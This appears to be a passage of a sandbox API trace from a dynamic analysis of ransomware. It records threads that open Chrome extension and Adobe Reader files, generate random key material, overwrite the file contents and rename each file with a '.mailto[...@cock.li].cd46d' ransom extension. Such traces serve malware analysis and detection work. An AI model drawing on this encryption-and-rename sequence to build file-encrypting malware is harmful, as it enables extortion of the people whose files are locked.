lpNumberOfBytesWritten=0x421f8c8*=0xb0, lpOverlapped=0x0) returned 1 [0190.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9099b0 [0190.559] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9096e0 [0190.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9096e0) returned 1 [0190.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d6d0f8) returned 1 [0190.559] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d608f0) returned 1 [0190.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb118) returned 1 [0190.562] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2b30) returned 1 [0190.562] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6c60 [0190.562] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.562] WriteFile (in: hFile=0x11b4, lpBuffer=0x12cf6670*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x421f930, lpOverlapped=0x0 | out: lpBuffer=0x12cf6670*, lpNumberOfBytesWritten=0x421f930*=0x10b, lpOverlapped=0x0) returned 1 [0191.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6670) returned 1 [0191.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c90) returned 1 [0191.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9096e0) returned 1 [0191.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c60) returned 1 [0191.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9099b0) returned 1 [0191.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d85f8) returned 1 [0191.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d84e0) returned 1 [0191.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d84b8) returned 1 [0191.647] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0xd4c8b38 [0191.647] wcscpy (in: _Dest=0xd4c8b38, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" [0191.647] wcscat (in: _Dest=0xd4c8b38, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.647] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x421f8e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.647] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x134e3028 Thread: id = 7624 os_tid = 0x17c4 [0183.775] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json")) returned 0x2020 [0183.775] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json", dwFileAttributes=0x20) returned 1 [0189.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16a8 [0189.692] GetFileSizeEx (in: hFile=0x16a8, lpFileSize=0x47efa04 | out: lpFileSize=0x47efa04*=221) returned 1 [0189.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8508 [0189.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8418 [0189.692] NtQuerySystemTime (in: CurrentTime=0x47ef964 | out: CurrentTime=0x47ef964*=132174899642818000) returned 0x0 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x24940125 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x393514b2 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x25cdc613 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x76a49a9a [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x1b2a2b7b [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0xb955303 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x3c529df7 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x57881268 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x45e10a57 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x19d477b5 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x2f6c910c [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x75b2b36a [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x3f5b427c [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x161b482a [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x1708f11a [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x280830d1 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x3e63749a [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x5a01baa7 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x672e35d4 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x53585a5d [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x5b7092ae [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x69e8e4cb [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x6609504c [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x633cf8cb [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x9aa2ac6 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x7fbdd6ad [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x286af324 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x2df2e9a6 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x3edfca01 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x7dc09f09 [0189.693] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x3acf3 [0189.694] RtlRandomEx (in: Seed=0x47ef970 | out: Seed=0x47ef970) returned 0x14ba4182 [0189.705] ReadFile (hFile=0x16a8, lpBuffer=0x12d79900, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x47ef960, lpOverlapped=0x0) [0189.706] SetFilePointerEx (in: hFile=0x16a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.707] WriteFile (in: hFile=0x16a8, lpBuffer=0x12d86108*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x47ef95c, lpOverlapped=0x0 | out: lpBuffer=0x12d86108*, lpNumberOfBytesWritten=0x47ef95c*=0xdd, lpOverlapped=0x0) returned 1 [0190.563] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909708 [0190.563] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909870 [0190.563] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909870) returned 1 [0190.563] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d86108) returned 1 [0190.563] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d79900) returned 1 [0190.563] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb0a0) returned 1 [0190.563] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d70) returned 1 [0190.563] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6cc0 [0190.564] SetFilePointerEx (in: hFile=0x16a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.564] WriteFile (in: hFile=0x16a8, lpBuffer=0x12cf5090*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x47ef9c4, lpOverlapped=0x0 | out: lpBuffer=0x12cf5090*, lpNumberOfBytesWritten=0x47ef9c4*=0x10b, lpOverlapped=0x0) returned 1 [0191.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5090) returned 1 [0191.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6cf0) returned 1 [0191.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909870) returned 1 [0191.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6cc0) returned 1 [0191.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909708) returned 1 [0191.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8508) returned 1 [0191.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8558) returned 1 [0191.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8530) returned 1 [0191.646] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c89b0 [0191.646] wcscpy (in: _Dest=0xd4c89b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" [0191.646] wcscat (in: _Dest=0xd4c89b0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.646] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x47ef97c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.646] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x9357b8 Thread: id = 7625 os_tid = 0x17c8 [0183.776] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json")) returned 0x2020 [0183.776] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json", dwFileAttributes=0x20) returned 1 [0189.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x988 [0189.707] GetFileSizeEx (in: hFile=0x988, lpFileSize=0x425fa5c | out: lpFileSize=0x425fa5c*=375) returned 1 [0189.707] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x173, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.707] ReadFile (in: hFile=0x988, lpBuffer=0x425f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x425f9dc, lpOverlapped=0x0 | out: lpBuffer=0x425f9e0*, lpNumberOfBytesRead=0x425f9dc*=0x4, lpOverlapped=0x0) returned 1 [0189.708] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.708] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.708] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8418 [0189.708] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8490 [0189.708] NtQuerySystemTime (in: CurrentTime=0x425f9bc | out: CurrentTime=0x425f9bc*=132174899642974000) returned 0x0 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x64fb2120 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x2241df7 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x48375079 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x5dd5d859 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x46017222 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x55157a76 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x5662d4e8 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x2e72d3ba [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x7ee0a449 [0189.708] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x2a1d9e9e [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0xb227c2d [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x37934498 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x26c707de [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x68f98a96 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x3ec036cd [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x364ef439 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x34919811 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x3191b605 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x304d63c8 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x3bdc13f3 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x6d97eb24 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x2579f2b4 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x364758a1 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x2751291e [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x7a54d0db [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x192ae5e3 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x23968de [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x5b3a3b02 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x218ec94d [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x75df9781 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x1443cba9 [0189.709] RtlRandomEx (in: Seed=0x425f9c8 | out: Seed=0x425f9c8) returned 0x46fccf7e [0189.721] ReadFile (hFile=0x988, lpBuffer=0x12d92910, nNumberOfBytesToRead=0x177, lpNumberOfBytesRead=0x425f9b8, lpOverlapped=0x0) [0189.721] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.721] WriteFile (in: hFile=0x988, lpBuffer=0x10e74188*, nNumberOfBytesToWrite=0x177, lpNumberOfBytesWritten=0x425f9b4, lpOverlapped=0x0 | out: lpBuffer=0x10e74188*, lpNumberOfBytesWritten=0x425f9b4*=0x177, lpOverlapped=0x0) returned 1 [0190.565] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909438 [0190.566] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095c8 [0190.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095c8) returned 1 [0190.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e74188) returned 1 [0190.570] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d92910) returned 1 [0190.570] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fafb0) returned 1 [0190.570] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa020) returned 1 [0190.570] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6d20 [0190.570] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.570] WriteFile (in: hFile=0x988, lpBuffer=0x12cf60f8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x425fa1c, lpOverlapped=0x0 | out: lpBuffer=0x12cf60f8*, lpNumberOfBytesWritten=0x425fa1c*=0x10b, lpOverlapped=0x0) returned 1 [0191.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf60f8) returned 1 [0191.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d50) returned 1 [0191.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095c8) returned 1 [0191.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d20) returned 1 [0191.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909438) returned 1 [0191.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8418) returned 1 [0191.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8378) returned 1 [0191.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8350) returned 1 [0191.650] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c8e48 [0191.650] wcscpy (in: _Dest=0xd4c8e48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" [0191.650] wcscat (in: _Dest=0xd4c8e48, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.650] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x425f9d4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.650] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x935158 Thread: id = 7626 os_tid = 0x17cc [0183.777] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt")) returned 0x20 [0183.777] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt", dwFileAttributes=0x20) returned 0 [0183.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.777] GetLastError () returned 0x5 [0183.777] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt", dwFileAttributes=0x20) returned 0 [0183.777] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5120) returned 1 Thread: id = 7627 os_tid = 0x17d0 [0183.778] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt")) returned 0x20 [0183.778] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt", dwFileAttributes=0x20) returned 0 [0183.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), dwDesiredAccess=0xc0010000, 